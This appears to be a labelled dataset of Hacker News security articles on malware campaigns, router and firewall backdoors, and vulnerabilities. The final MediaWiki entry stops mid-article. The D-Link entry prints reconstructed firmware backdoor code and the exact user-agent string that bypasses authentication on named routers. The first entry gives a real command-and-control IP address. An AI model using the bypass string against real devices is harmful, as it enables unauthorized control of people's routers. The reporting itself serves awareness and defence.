"Cross-platform Trojan : Mac, Windows, Linux - Nothing safe !",https://thehackernews.com/2012/07/cross-platform-trojan-mac-windows-linux.html,"Security researchers working for F-Secure have found a web exploit that detects the operating system of the computer and drops a different trojan to match.The attack was first seen on a Columbian transport website which had been hacked by a third party. This malware is known as GetShell.A and requires users to approve a Java applet installation.

It detects if you're running Windows, Mac OS X, or Linux, and then downloads the corresponding malware for your platform. The malicious files developed for each type of OS connect to the same Command & Control server that F-Secure has localized at IP address 186.87.69.249.

Karmina Aquino, a senior analyst with F-Secure said ""All three files for the three different platforms behave the same way. They all connect to 186.87.69.249 to get additional code to execute. The ports are 8080, 8081, and 8082 for OSX, Linux and Windows, respectively.""

On upcoming 29th July 2012 Security Researchers Sina Hatef Matbue and Arash Shirkhorshidi going to Present ""Graviton Malware"" , which is Cross Platform Malware in 'The Hackers Conference 2012' . The purpose of 'graviton' is to become an artificial creature which can move between world of windows, world of apples, and world of empire penguins, etc. and remain stealth.

The Windows one sends the following information back to the remote attacker's CPU details, Disk details, Memory usage, OS version, and user name. The Trojan can also download a file and execute it, or open a shell to receive commands. 'Graviton' is a combination of pure 'C' and 'asm'.

The Hackers Conference 2012 is expected to be the first open gathering of Blackhat hackers in India who will debate latest security issues with the top itelligence echolons in India. The conference has sent special invites to Blackhat hackers to come and demonstrate their talent and help the security agencies bridge the knowledge gaps existing today.You can Register yourself here, to attend THC2012.

",Malware
Hackers Use New Flash Zero-Day Exploit to Distribute FinFisher Spyware,https://thehackernews.com/2017/10/flash-player-zero-day.html,"FinSpy—the infamous surveillance malware is back and infecting high-profile targets using a new Adobe Flash zero-day exploit delivered through Microsoft Office documents.

Security researchers from Kaspersky Labs have discovered a new zero-day remote code execution vulnerability in Adobe Flash, which was being actively exploited in the wild by a group of advanced persistent threat actors, known as BlackOasis.

The critical type confusion vulnerability, tracked as CVE-2017-11292, could lead to code execution and affects Flash Player 21.0.0.226 for major operating systems including Windows, Macintosh, Linux and Chrome OS.

Researchers say BlackOasis is the same group of attackers which were also responsible for exploiting another zero-day vulnerability (CVE-2017-8759) discovered by FireEye researchers in September 2017.

Also, the final FinSpy payload in the current attacks exploiting Flash zero-day (CVE-2017-11292) shares the same command and control (C&C) server as the payload used with CVE-2017-8759 (which is Windows .NET Framework remote code execution).

So far BlackOasis has targeted victims in various countries including Russia, Iraq, Afghanistan, Nigeria, Libya, Jordan, Tunisia, Saudi Arabia, Iran, the Netherlands, Bahrain, United Kingdom and Angola.

The newly reported Flash zero-day exploit is at least the 5th zero-day that BlackOasis group exploited since June 2015.

The zero-day exploit is delivered through Microsoft Office documents, particularly Word, attached to a spam email, and embedded within the Word file includes an ActiveX object which contains the Flash exploit.

The exploit deploys the FinSpy commercial malware as the attack's final payload.
""The Flash object contains an ActionScript which is responsible for extracting the exploit using a custom packer seen in other FinSpy exploits,"" the Kaspersky Labs researchers say.
FinSpy is a highly secret surveillance tool that has previously been associated with Gamma Group, a British company that legally sells surveillance and espionage software to government agencies across the world.

FinSpy, also known as FinFisher, has extensive spying capabilities on an infected system, including secretly conducting live surveillance by turning ON its webcams and microphones, recording everything the victim types on the keyboard, intercepting Skype calls, and exfiltration of files.

To get into a target's system, FinSpy usually makes use of various attack vectors, including spear phishing, manual installation with physical access to the affected device, zero-day exploits, and watering hole attacks.
""The attack using the recently discovered zero-day exploit is the third time this year we have seen FinSpy distribution through exploits to zero-day vulnerabilities,"" said Anton Ivanov, lead malware analyst at Kaspersky Lab.
""Previously, actors deploying this malware abused critical issues in Microsoft Word and Adobe products. We believe the number of attacks relying on FinSpy software, supported by zero day exploits such as the one described here, will continue to grow.""
Kaspersky Lab reported the vulnerability to Adobe, and the company has addressed the vulnerability with the release of Adobe Flash Player versions 27.0.0.159 and 27.0.0.130.

Just last month, ESET researchers discovered legitimate downloads of several popular apps like WhatsApp, Skype, VLC Player and WinRAR (reportedly compromised at the ISP level) that were also distributing FinSpy.

So, businesses and government organizations around the world are strongly recommended to install the update from Adobe as soon as possible.

Microsoft will also likely be releasing a security update to patch the Flash Player components used by its products.

",Malware
CredSSP Flaw in Remote Desktop Protocol Affects All Versions of Windows,https://thehackernews.com/2018/03/credssp-rdp-exploit.html,"A critical vulnerability has been discovered in Credential Security Support Provider protocol (CredSSP) that affects all versions of Windows to date and could allow remote attackers to exploit RDP and WinRM to steal data and run malicious code.

CredSSP protocol has been designed to be used by RDP (Remote Desktop Protocol) and Windows Remote Management (WinRM) that takes care of securely forwarding credentials encrypted from the Windows client to the target servers for remote authentication.

Discovered by researchers at Cybersecurity firm Preempt Security, the issue (CVE-2018-0886) is a logical cryptographic flaw in CredSSP that can be exploited by a man-in-the-middle attacker with Wi-Fi or physical access to the network to steal session authentication data and perform a Remote Procedure Call attack.

When a client and server authenticate over RDP and WinRM connection protocols, a man-in-the-middle attacker can execute remote commands to compromise enterprise networks.
""An attacker which have stolen a session from a user with sufficient privileges could run different commands with local admin privileges. This is especially critical in case of domain controllers, where most Remote Procedure Calls (DCE/RPC) are enabled by default,"" says Yaron Zinar, lead security researcher for Preempt.
""This could leave enterprises vulnerable to a variety of threats from attackers including lateral movement and infection on critical servers or domain controllers.""
Since RDP is the most popular application to perform remote logins and almost all enterprise customers are using RDP, it makes most networks vulnerable to this security issue.
Preempt Researchers discovered and reported this previously unknown remote code execution vulnerability to Microsoft in August last year, but the tech giant issued a fix for the protocol just today as part of its Patch Tuesday release—that's almost after 7 months of reporting.

To defend yourself and your organizations against the CredSSP exploit, users are recommended to patch their workstations and servers using available updates from the Microsoft.

Though researchers also warned that patching alone is not sufficient to prevent this attack, IT professionals are also required to make some configuration to apply the patch and be protected.

Blocking the relevant application ports including RDP and DCE/RPC would also thwart the attack, but researchers say this attack could even be implemented in different ways, using different protocols.

Therefore, to better protect your network, it is a good idea to decrease the use of privileged account as much as possible and instead use non-privileged accounts whenever applicable.

As part of March 2018 Patch Tuesday, Microsoft has also released security patches for its other products, including Microsoft IE and Edge browser, Windows OS, Microsoft Office, PowerShell, Core ChakraCore, as well as Adobe Flash player.

",Cyber_Attack
"FBI seizes control of a massive botnet that infected over 500,000 routers",https://thehackernews.com/2018/05/vpnfilter-botnet-malware.html,"Shortly after Cisco's released its early report on a large-scale hacking campaign that infected over half a million routers and network storage devices worldwide, the United States government announced the takedown of a key internet domain used for the attack.

Yesterday we reported about a piece of highly sophisticated IoT botnet malware that infected over 500,000 devices in 54 countries and likely been designed by Russia-baked state-sponsored group in a possible effort to cause havoc in Ukraine, according to an early report published by Cisco's Talos cyber intelligence unit on Wednesday.

Dubbed VPNFilter by the Talos researchers, the malware is a multi-stage, modular platform that targets small and home offices (SOHO) routers and storage devices from Linksys, MikroTik, NETGEAR, and TP-Link, as well as network-access storage (NAS) devices.

Meanwhile, the court documents unsealed in Pittsburgh on the same day indicate that the FBI has seized a key web domain communicating with a massive global botnet of hundreds of thousands of infected SOHO routers and other NAS devices.

The court documents said the hacking group behind the massive malware campaign is Fancy Bear, a Russian government-aligned hacking group also known as APT28, Sofacy, X-agent, Sednit, Sandworm, and Pawn Storm.

The hacking group has been in operation since at least 2007 and has been credited with a long list of attacks over the past years, including the 2016 hack of the Democratic National Committee (DNC) and Clinton Campaign to influence the U.S. presidential election.
""This operation is the first step in the disruption of a botnet that provides the Sofacy actors with an array of capabilities that could be used for a variety of malicious purposes, including intelligence gathering, theft of valuable information, destructive or disruptive attacks, and the misattribution of such activities,"" John Demers, the Assistant Attorney General for National Security, said in a statement.
Among other, Talos researchers also found evidence that the VPNFilter source code share code with versions of BlackEnergy—the malware responsible for multiple large-scale attacks targeting devices in Ukraine that the U.S. government has attributed to Russia.

VPNFilter has been designed in a way that it could be used to secretly conduct surveillance on its targets and gather intelligence, interfere with internet communications, monitor industrial control or SCADA systems, such as those used in electric grids, other infrastructure and factories, as well as conduct destructive cyber attack operations.

The seizure of the domain that is part of VPNFilter's command-and-control infrastructure allows the FBI to redirect attempts by stage one of the malware (in an attempt to reinfect the device) to an FBI-controlled server, which will capture the IP address of infected devices and pass on to authorities around the globe who can remove the malware.

Users of SOHO and NAS devices that are infected with VPNFilter are advised to reboot their devices as soon as possible, which eliminates the non-persistent second stage malware, causing the persistent first-stage malware on their infected device to call out for instructions.
""Although devices will remain vulnerable to reinfection with the second stage malware while connected to the Internet, these efforts maximize opportunities to identify and remediate the infection worldwide in the time available before Sofacy actors learn of the vulnerability in their command-and-control infrastructure,"" the DoJ said.
Since VPNFilter does not exploit any zero-day vulnerability to infect its victims and instead searches for devices still exposed to known vulnerabilities or having default credentials, users are strongly recommended to change default credentials for their devices to prevent against the malware.

Moreover, always put your routers behind a firewall, and turn off remote administration until and unless you really need it.

If your router is by default vulnerable and can't be updated, it is time you buy a new one. You need to be more vigilant about the security of your smart IoT devices.

",Cyber_Attack
COVID-Themed Lures Target SCADA Sectors With Data Stealing Malware,https://thehackernews.com/2020/04/coronavirus-scada-malware.html,"A new malware campaign has been found using coronavirus-themed lures to strike government and energy sectors in Azerbaijan with remote access trojans (RAT) capable of exfiltrating sensitive documents, keystrokes, passwords, and even images from the webcam.

The targeted attacks employ Microsoft Word documents as droppers to deploy a previously unknown Python-based RAT dubbed ""PoetRAT"" due to various references to sonnets by English playwright William Shakespeare.

""The RAT has all the standard features of this kind of malware, providing full control of the compromised system to the operation,"" said Cisco Talos in an analysis published last week.

According to the researchers, the malware specifically targets supervisory control and data acquisition (SCADA) systems in the energy industry, such as wind turbine systems, whose identities are currently not known.

The development is the latest in a surge in cyberattacks exploiting the ongoing coronavirus pandemic fears as bait to install malware, steal information, and make a profit.

Using COVID-19 Themed Lures as Decoy

The campaign works by appending PoetRAT to a Word document, which, when opened, executes a macro that extracts the malware and runs it.

The exact distribution mechanism of the Word document remains unclear, but given that the documents are available for download from a simple URL, the researchers suspect that victims are being tricked into downloading the RAT via malicious URLs or phishing emails.

Talos said it discovered that attack in three waves starting in February, some of which used decoy documents claiming to be from Azerbaijan government agencies and India's Defense Research and Development Organization (DRDO), or alluding to COVID-19 in their file names (""C19.docx"") without any actual content.


Regardless of the attack vector, the Visual Basic Script macro in the document writes the malware to the disk as an archive file named ""smile.zip,"" which consists of a Python interpreter and the RAT itself.

The Python script also checks the environment where the document is being opened to make sure it's not in a sandbox — based on the assumption that sandboxes have hard drives smaller than 62GB. If it detects a sandboxed environment, it deletes itself from the system.

Making Registry Modifications to Gain Persistence

As for the RAT, it comes with two scripts: a ""frown.py"" that's responsible for communicating with a remote command-and-control (C2) server with a unique device identifier, and a ""smile.py"" that handles the execution of C2 commands on the compromised machine.

The commands make it possible for an attacker to upload sensitive files, capture screenshots, terminate system processes, log keystrokes (""Klog.exe""), and steal passwords stored in browsers (""Browdec.exe"").

Besides this, the adversary behind the campaign also deployed additional exploitation tools, including ""dog.exe,"" a .NET-based malware that monitors hard drive paths, and automatically transmits the information via an email account or an FTP. Another tool called ""Bewmac"" enables the attacker to seize control of the victim's webcam.

The malware gains persistence by creating registry keys to execute the Python script and can even make registry modifications to bypass the aforementioned sandbox evasion check, possibly to avoid re-checking the same environment again.

""The actor monitored specific directories, signaling they wanted to exfiltrate certain information on the victims,"" Talos researchers concluded.

""The attacker wanted not only specific information obtained from the victims but also a full cache of information relating to their victim. By using Python and other Python-based tools during their campaign, the actor may have avoided detection by traditional tools that have whitelisted Python and Python execution techniques.""

",Malware
Malware automatically uploading stolen data to the File sharing sites,https://thehackernews.com/2012/02/malware-automatically-uploading-stolen.html,"Malware automatically uploading stolen data to the File sharing sites
Roland Dela Paz, a threat response engineer with Trend Micro have discovered a piece of malicious software that automatically uploads its stolen data cache to the SendSpace file-sharing service for retrieval. File-storage services offer several advantages for cybercriminals.

SendSpace accepts files and then generates a link that can be shared with other people to download the content in the files. The malware has been configured to send files, copy the download link and send it to a command-and-control server along with the password needed to access the archive, Dela Paz wrote.

Here is a screenshot of the Sendspace page leading to the archive of collected documents. Malware utilizing free online services are definitely not unheard of.

Utilizing a public file hosting site is yet another clever way for cybercriminals to store stolen data as they do not need to set up a server that will store large amount of data.
The services are especially useful for so-called Advance Persistent Threat attacks, where cyberspies seek to infiltrate an organization for a long period of time, said Rik Ferguson, director of security research and communication for Trend Micro in Europe.

",Malware
"Facebook Takes Down Bitcoin Stealing Botnet that Infected 250,000 Computers",https://thehackernews.com/2014/07/facebook-takes-down-bitcoin-stealing.html,"Once again Facebook is on The Hacker News! This time not for any scam or surveillance, but for a different reason.

The social networking giant has managed to take down a Greek botnet that used Facebook to spread malware and infected 250,000 computers to mine crypto-currencies, steal bitcoins, email passwords and banking details.

Facebook is always one of the favourite weapon of cyber criminals, cyber thieves and scammers due to its popularity among other social media platforms. This social networking platform, with more than one billion active users, provides special opportunities for people to connect and share information, as well as also serves a great platform for malware developers and scammers.

The botnet, dubbed as Lecpetex, was around from December 2013 to last month and compromised around 50,000 Facebook accounts at its peak, under which users would receive spam Facebook messages that would typically like ""lol"" with a zip archive attachment.

Once the attachment is opened, it would execute an embedded Java archive file that would download Lecpetex main module and install a program to begin Litecoin mining secretly on the infected computer, and at the same time, other malware sent out from the botnet would steal bitcoins, email passwords and internet banking details.

Moreover, the module would download and run the Facebook spamming module that would hijack user's account by stealing cookies from their browser in an effort to gain access to the victim's Facebook friend list so that it could further send out more spam messages to each friend with a zip file containing malware.

The Lecpetex botnet infect computers with family of different malware, including the DarkComet remote access trojan, through simple social engineering techniques, and the operators behind it were constantly modifying it in order to evade detection, both by Facebook's attachment scanning software as well as anti-virus software.

Security researchers at Menlo Park said the 31 and 27 year-old botnet creators delivered over 20 distinct spam campaigns, affecting users in Greece, Poland, Norway, India, Portugal, and the US. Not even the malware targeted Facebook alone, the malware was also delivered through torrent files containing pirated content like movies, games and MP3s to trick unwitting downloaders, but this was not observed by Facebook bods.

""On April 30, 2014, we escalated the Lecpetex case to the Cybercrime Subdivision of the Greek Police, and the agency immediately showed strong interest in the case,"" Facebook engineers wrote in an unauthored post.

After five months of examination, irritated botnet creators began leaving messages for Facebook engineers from their command and control servers saying that:
""Hello people.. :) but am not the f***ing zeus bot/skynet bot or whatever piece of sh*t.. no fraud here.. only a bit of mining. Stop breaking my ballz..""
They also changed their crypto keys to the phrase 'IdontLikeLecpetexName'.

But Facebook didn't stop its investigation and continued to target botnet with new countermeasures and automated tools in order to extract more information from the botnet to trace its creators, and finally the Greek Police arrested two hackers last week, a 31-year-old and a 27-year-old who were both informatics students.
""According to the Greek Police, the authors were in the process of establishing a Bitcoin 'mixing' service to help launder stolen Bitcoins at the time of their arrest,"" said Facebook. ""Ultimately, remediating a threat like Lecpetex requires a combination of technical analysis capabilities, industry collaboration, agility in deploying new countermeasures, and law enforcement cooperation.""
The Greek Reporter says that the Lecpetex operation is the biggest case ever handled by Greece's Cyber Crime Unit.

",Malware
Another Cyber attack Hit Regions Bank and SunTrust,https://thehackernews.com/2012/10/another-cyber-attack-hit-regions-bank.html,"As warned by Izz ad-Din al-Qassam Cyber Fighters They launched another distributed denial-of-service (DDOS) attack against the website of Regions Financial Corp (regions.com) and SunTrust. The computer attacks burden the bank websites with heavy traffic volume that causes slow service for the sites or makes them completely unavailable.

In a Pastebin post dated Oct. 8, the hacktivist group announced the planned Oct. 9 attack against Capital One, the Oct. 10 attack against SunTrust and an Oct. 11 takedown date for Regions Financial Corp and THEY DID IT.


SunTrust ( suntrust.com ) spokesman Michael McCoy confirmed SunTrust's site had been hit by an uptick in traffic. ""We have seen increased online traffic today and experienced intermittent service availability of some online functions,"" he said.

A couple of days ago, Regions representatives told Fox Business that the organization was aware of the threats. At the time, they claimed they were ""taking every measure"" to protect the company and customers.

All these attacks on US Banks are in response to a video uploaded to YouTube ridiculing the Prophet Muhammad and offending some Muslims.

That unknown motivation also makes fighting these DDoS attacks challenging, Pascual says, although banks are likely improving their defensive techniques.

Subscribe to our Daily News-letter via email - Be First to know about Security and Hackers.

",Cyber_Attack
Cybercriminals Widely Abusing Excel 4.0 Macro to Distribute Malware,https://thehackernews.com/2021/04/cybercriminals-widely-abusing-excel-40.html,"Threat actors are increasingly adopting Excel 4.0 documents as an initial stage vector to distribute malware such as ZLoader and Quakbot, according to new research.
The findings come from an analysis of 160,000 Excel 4.0 documents between November 2020 and March 2021, out of which more than 90% were classified as malicious or suspicious.
""The biggest risk for the targeted companies and individuals is the fact that security solutions still have a lot of problems with detecting malicious Excel 4.0 documents, making most of these slip by conventional signature based detections and analyst written YARA rules,"" researchers from ReversingLabs said in a report published today.
Excel 4.0 macros (XLM), the precursor to Visual Basic for Applications (VBA), is a legacy feature incorporated in Microsoft Excel for backward compatibility reasons. Microsoft warns in its support document that enabling all macros can cause ""potentially dangerous code"" to run.
The ever-evolving Quakbot (aka QBOT), since its discovery in 2007, has remained a notorious banking trojan capable of stealing banking credentials and other financial information, while also gaining worm-like propagation features. Typically spread via weaponized Office documents, variants of QakBot have been able to deliver other malware payloads, log user keystrokes, and even create a backdoor to compromised machines.
In a document analyzed by ReversingLabs, the malware not only tricked users into enabling macros with convincing lures, but also came with embedded files containing XLM macros that download and execute a malicious second-stage payload retrieved from a remote server. Another sample included a Base64-encoded payload in one of the sheets, which then attempted to download additional malware from a sketchy URL.
""Even though backward compatibility is very important, some things should have a life expectancy and, from a security perspective, it would probably be best if they were deprecated at some point in time,"" the researchers noted. ""Cost of maintaining 30 year old macros should be weighed against the security risks using such outdated technology brings.""

",Malware
Warning! Over 900 Million Android Phones Vulnerable to New 'QuadRooter' Attack,https://thehackernews.com/2016/08/hack-android-phone.html,"Android has Fallen! Yet another set of Android security vulnerabilities has been discovered in Qualcomm chipsets that affect more than 900 Million Android smartphones and tablets worldwide.

What's even worse: Most of those affected Android devices will probably never be patched.

Dubbed ""Quadrooter,"" the set of four vulnerabilities discovered in devices running Android Marshmallow and earlier that ship with Qualcomm chip could allow an attacker to gain root-level access to any Qualcomm device.

The chip, according to the latest statistics, is found in more than 900 Million Android tablets and smartphones.

That's a very big number.

The vulnerabilities have been disclosed by a team of Check Point researchers at the DEF CON 24 security conference in Las Vegas.

Critical Quadrooter Vulnerabilities:

The four security vulnerabilities are:
CVE-2016-2503 discovered in Qualcomm's GPU driver and fixed in Google's Android Security Bulletin for July 2016.
CVE-2016-2504 found in Qualcomm GPU driver and fixed in Google's Android Security Bulletin for August 2016.
CVE-2016-2059 found in Qualcomm kernel module and fixed in April, though patch status is unknown.
CVE-2016-5340 presented in Qualcomm GPU driver and fixed, but patch status unknown.
Qualcomm is the world's leading designer of LTE (Long Term Evolution) chipsets with a 65% share of the LTE modem baseband market. If any one of the four flaws is exploited, an attacker can trigger privilege escalations for gaining root access to an affected device.

All an attacker needs is to write a piece of malware and send it to the victim. When installed, the malware offers the attacker privilege escalation on the affected devices.

According to the researchers, the attack can also be conducted through a malicious app. An attacker needs to trick a user into installing a malicious app that, unlike other malware, would execute without requiring any special permission checks.
""Such an app would require no special permissions to take advantage of these vulnerabilities, alleviating any suspicion users may have when installing,"" Check Point researchers write in a blog post.
If any of the four vulnerabilities are successfully exploited, an attacker could gain root access to an affected device, giving the attacker full access to the device, including its data, camera and microphone.

List of Affected Devices (Popular)
More than 900 Million Android devices that ship with Qualcomm chip are vulnerable to the flaws.

Here's the list of some of the popular affected devices, though there are far more devices that are impacted by one or more Quadrooter vulnerabilities.
Samsung Galaxy S7 and Samsung S7 Edge
Sony Xperia Z Ultra
OnePlus One, OnePlus 2 and OnePlus 3
Google Nexus 5X, Nexus 6 and Nexus 6P
Blackphone 1 and Blackphone 2
HTC One, HTC M9 and HTC 10
LG G4, LG G5, and LG V10
New Moto X by Motorola
BlackBerry Priv
How to Check if Your Device is Vulnerable?

You can check if your smartphone or tablet is vulnerable to Quadrooter attack using Check Point's free app.

Since the vulnerable software drivers, which control communication between Qualcomm chipset components, come pre-installed on these devices at the time of manufacturing, they can only be fixed by installing a patch from the devices' distributors or carriers after receiving fixed driver packs from Qualcomm.
""This situation highlights the inherent risks in the Android security model,"" the researchers say. ""Critical security updates must pass through the entire supply chain before they can be made available to end users.""
Three of the four vulnerabilities have already been fixed in Google's latest set of monthly security updates, and a patch for the remaining flaw will be rolled out in the upcoming September update.

Since Qualcomm has already released the code, the phone manufacturers could be able to issue patches to the individual devices as soon as possible.

Android Nexus devices are already patched via the over-the-air updates, but other smartphone models will need to wait until their lazy phone manufacturers integrate the fixes into their own custom Android ROMs.

",Vulnerability
Sophisticated 'TajMahal APT Framework' Remained Undetected for 5 Years,https://thehackernews.com/2019/04/apt-malware-framework.html,"Cybersecurity researchers yesterday unveiled the existence of a highly sophisticated spyware framework that has been in operation for at least last 5 years—but remained undetected until recently.

Dubbed TajMahal by researchers at Kaspersky Lab, the APT framework is a high-tech modular-based malware toolkit that not only supports a vast number of malicious plugins for distinct espionage operations, but also comprises never-before-seen and obscure tricks.

Kaspersky named the framework after Taj Mahal, one of the Seven Wonders of the World located in India, not because it found any connection between the malware and the country, but because the stolen data was transferred to the attackers' C&C server in an XML file named TajMahal.

TajMahal toolkit was first discovered by security researchers late last year when hackers used it to spy on the computers of a diplomatic organization belonging to a Central Asian country whose nationality and location have not been disclosed.

However, malware samples examined by the researchers suggest the cyberespionage group behind the attack has been active since at least August 2014.

The TajMahal framework consists of two main packages—""Tokyo"" and ""Yokohama""—that together contain over 80 distinct malicious modules, which according to researchers, is one of the highest numbers of plugins ever seen for an APT toolset.

""It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim's machine,"" the researchers say.

Researchers have not yet figured out how TajMahal infected its targets at the first place, but they do reveal that once accessed, first stage infection Tokyo is downloaded on targeted machines, which then deliver the fully-functional second-stage malware Yokohama.
Yokohama stores malicious modules in its encrypted Virtual File System which allows the malware to:

log keystrokes,
steal browser cookies and data, including backup for Apple mobile devices,
record and take screenshots of VoIP calls,
steal written CD images,
steal documents sent to the printer queue.

Besides usual spying capabilities, the malware also includes some more unique features like requesting to steal a particular file from a previously plugged in USB stick. So, next time when the USB is connected to the infected computer, the file will be stolen.

Though the researchers found only one TajMahal victim so far but given the framework's sophistication, they believe there are other victims that have yet to be discovered.

""So far we have detected a single victim based on our telemetry,"" Kaspersky said.

""This theory is reinforced by the fact that we couldn't see how one of the files in the VFS was used by the malware, opening the door to the possibility of additional versions of the malware that have yet to be detected.""

Additional technical details can be found on the SecureList blog, where the researchers have also published a full set of Indicators of compromise (IOCs) and a complete list of 80 malicious modules stored in the malware with a short description describing what they do.

",Cyber_Attack
Unauthorized Access Backdoor found in D-Link router Firmware Code,https://thehackernews.com/2013/10/unauthorized-access-backdoor-found-in-d.html,"A number of D-Link routers reportedly have an issue that makes them susceptible to unauthorized backdoor access.

The researcher Craig, specialized on the embedded device hacking - demonstrated the presence of a backdoor within some DLink routers that allows an attacker to access the administration web interface of network devices without any authentication and view/change its settings.

He found the backdoor inside the firmware v1.13 for the DIR-100 revA. Craig found and extracted the SquashFS file system loading firmware's web server file system (/bin/webs) into IDA.
Giving a look at the string listing, the Craig's attention was captured by a modified version of thttpd, the thttpd-alphanetworks/2.23, implemented to provide the rights to the administrative interface for the router.

The library is written by Alphanetworks, a spin-off company of D-Link, analyzing it Craig found many custom functions characterized by a name starting with suffix ""alpha"" including the alpha_auth_check.

The function is invoked to parse http request in the phase of authentication.
""We can see that alpha_auth_check is passed one argument (whatever is stored in register $s2); if alpha_auth_check returns -1 (0xFFFFFFFF), the code jumps to the end of alpha_httpd_parse_request, otherwise it continues processing the request.""

Analyzing the parameters passed to the function the researcher was able to reconstruct the authentication flow, the function parses the requested URL and check if it contains the strings ""graphic/"" or ""public/"". ""graphic/"" or ""public/"" are sub-directories under the device's web directory, if the requested URL contains one of them the request is passed without authentication.
Another intriguing detail has been found by Craig that by changing the user-agent in a web browser to ""xmlset_roodkcableoj28840ybtide,"" a user could bypass the security on the device and get online or control the higher functions of the router.

Craig decided to search the code ""xmlset_roodkcableoj28840ybtide"" on Google and discovered traces of it only in one Russian forum post from a few years ago. Going deep in its analysis Craig was able to piece together the body of the alpha_auth_check:
int alpha_auth_check(struct http_request_t *request)

{

if(strstr(request->url, ""graphic/"") ||
strstr(request->url, ""public/"") ||
strcmp(request->user_agent, ""xmlset_roodkcableoj28840ybtide"") == 0)
{
return AUTH_OK;
}
else
{
// These arguments are probably user/pass or session info
if(check_login(request->0xC, request->0xE0) != 0)
{
return AUTH_OK;
}
}
return AUTH_FAIL;
}
Try to read the string xmlset_roodkcableoj28840ybtide backwards .... It appears as ""Edit by 04882 Joel backdoor"", very cool.

The worrying part about this vulnerability is how it can be exploited. Anyone connected to the router, whether it's through Ethernet or Wi-Fi, can simply set their browser's user agent string to a specific codeword and then attempt to access the web configuration panel.

Craig extended the results of its discovery to many other D-Link devices affected by the same backdoor, the author searched for the code present in the HTML pages on the entire Internet with the Shodan. He searched for the word ""thttpd-alphanetworks/2.23"", the modified version of thttpd, retrieving following search results:

After a series of test Craig concluded that the following D-Link devices are likely affected:
• DIR-100
• DI-524
• DI-524UP
• DI-604S
• DI-604UP
• DI-604+
• TM-G5240

The researcher discovered also that Planex routers, based on the same firmware, are affected by the flaw.
• BRL-04UR
• BRL-04CW

D-Link has confirmed that the flaw exists, but has refused to provide comment on how it was inserted into its products. 'D-Link will be releasing firmware updates to address the security vulnerabilities in affected D-Link routers by the end of October,' a company spokesperson explained.

Very intriguing ... What do you think about?

Update (1:43 PM Wednesday, October 16, 2013 GMT): Nmap script is now available for automated scan and identifying the vulnerable D-Link routers, models including - DIR-100, DIR-120, DI-624S, DI-524UP, DI-604S, DI-604UP, DI-604+, TM-G5240.

Download Script (http-dlink-backdoor.nse)

",Vulnerability
How to Build a Successful Incident Response Plan,https://thehackernews.com/2015/11/how-to-incident-response-plan.html,"The fight to protect your company's data isn't for the faint of heart.

As an embattled IT warrior, with more systems, apps, and users to support than ever before, keeping everything up and running is a battle in itself.

When it comes to preventing the worst-case scenario from happening, you need all the help you can get, despite your super-hero status.

According to SANS, there are 6 key phases of an incident response plan.
Preparation - Preparing users and IT to handle potential incidents in case they happen
Identification - Figuring out what we mean by a ""security incident"" (which events can we ignore vs. which we must act on right now?)
Containment - Isolating affected systems to prevent further damage
Eradication - Finding and eliminating the root cause (removing affected systems from production)
Recovery - Permitting affected systems back into the production environment (and watching them closely)
Lessons Learned - Writing everything down and reviewing and analyzing with all team members so you can improve future incident response efforts
Here are three examples from the front lines of incident response that can help you at each phase as you build out your plan.

On Defining Success Incident Response Success

There are many levels of success in defensive work… the common wisdom is that the attacker only has to be right once, but the defender has to be right every time, but that's not always true.

Attacks are not all-or-nothing affairs - they happen over time, with multiple stages before final success.

To remain undetected against an attentive defender, it is the attacker who must make every move correctly; if an astute defender detects them even once, they have the possibility to locate and stop the whole attack.

You aren't going to immediately detect everything that happens during an attack - but as long as you detect (and correctly identify) enough of an attack to stop it in its tracks, that's success.

Don't Panic. Stay Focused.

Execution is key - the range of ways to attack a target can seem limitless - expecting to be an expert on all of them is pointlessly unrealistic.

The most important part of incident response is to handle every situation in a way that limits damage, and reduces recovery time and costs.

At the end of the day, that's how you'll be measured on a job well done… not that you've covered every angle of every potential vulnerability.

Start with Simple Steps. Attackers are Lazy.

Attackers have technical and economic imperatives to use the minimum amount of effort and resources to breach their targets - the more you remove the low-hanging fruit on your network, the more you raise the actual level of work an attacker has to expend to successfully infiltrate it.

AlienVault has recently created a 5 chapter eBook titled the Insider's Guide to Incident Response that goes further into fundamental strategies that can help you create an efficient and effective incident response plan.

The eBook covers:
Arming & Aiming Your Incident Response Team
Incident Response Process and Procedures
Types of Security Incidents
Incident Response Tools
Incident Response Training
You can download the entire eBook at AlienVault's website here.

Learn more about AlienVault USM:
Download a free 30-day trial
Watch a demo on-demand
Play with USM in our product sandbox (no download required)

",Data_Breaches
Juniper Firewalls with ScreenOS Backdoored Since 2012,https://thehackernews.com/2015/12/hacking-juniper-firewall-security.html,"Juniper Networks has announced that it has discovered ""unauthorized code"" in ScreenOS, the operating system for its NetScreen firewalls, that could allow an attacker to decrypt traffic sent through Virtual Private Networks (VPNs).

It's not clear what caused the code to get there or how long it has been there, but the release notes posted by Juniper suggest the earliest buggy versions of the software date back to at least 2012 and possibly earlier.


The backdoor impacts NetScreen firewalls using ScreenOS 6.2.0r15 through 6.2.0r18 and 6.3.0r12 through 6.3.0r20, states the advisory published by the company. However, there's no evidence right now that whether the backdoor was present in other Juniper OSes or devices.

The issue was uncovered during an internal code review of the software, according to Juniper chief information officer Bob Worrall, and requires immediate patching by upgrading to a new version of the software just released today.
""Juniper discovered unauthorized code in ScreenOS that could allow a knowledgeable attacker to gain administrative access to NetScreen devices and to decrypt VPN connections,"" Worrall said.

How Does the Backdoor Occur?

The backdoor occurred due to a pair of critical vulnerabilities:
First allows anyone to decrypt VPN traffic and leave no trace of their actions
Second allows anyone to complete compromise a device via an unauthorized remote access vulnerability over SSH or telnet.
In short, an attacker could remotely log-in to the firewall with administrator privileges, decrypt and spy on thought-to-be-secure traffic, and then even remove every trace of their activity.

Sounds awful, although Juniper claims the company has not heard of any exploitation in the wild so far and released patched versions of Screen OS that are available now on its download page.

",Vulnerability
MediaWiki Remote Code Execution vulnerability leaves Wikipedia open for Cyber attacks,https://thehackernews.com/2014/01/mediawiki-remote-code-execution.html,"The Encyclopedia giant WIKIPEDIA has been found vulnerable to remote code execution because of a critical flaw in the MediaWiki software.

Wikipedia is a name which has become a major source of information for all of us. It has webpages on almost every topic you need to search.

This giant is powered by an open source wiki software called MediaWiki. MediaWiki not only empowers Wikipedia, but also a number of other wiki websites. This software is a product of the Wikimedia Foundation and is coded in PHP with a database as backend.

Cyber Point Software Technologies found a remote code execution vulnerability in MediaWiki, ""This vulnerability affects all versions of MediaWiki from 1.8 onwards.""

